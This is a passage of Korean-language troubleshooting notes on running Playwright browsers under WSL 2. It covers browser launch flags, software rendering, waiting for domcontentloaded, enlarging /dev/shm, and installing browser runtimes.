page.goto(..., wait_until="networkidle")networkidle--no-sandbox --disable-gpu --disable-dev-shm-usage를, Firefox는 gfx.webrender.force-disabled / layers.acceleration.disabled를 적용하여 — CPU(소프트웨어) 렌더링으로 대체하므로 페이지가 여전히 렌더링되고 완전히 상호작용 가능합니다. 모든 탐색은 이제 networkidle 대신 domcontentloaded를 기다립니다. 작동하는 브라우저가 보일 것입니다./dev/shm을 늘리고(sudo mount -o remount,size=1g /dev/shm), WSL 2와 WSLg를 사용 중인지 확인하고(wsl --update; echo $DISPLAY가 비어 있지 않아야 함), venv에 브라우저 런타임이 설치되어 있는지 확인하십시오(python -m playwright install firefox 및 python -m playwright install-deps).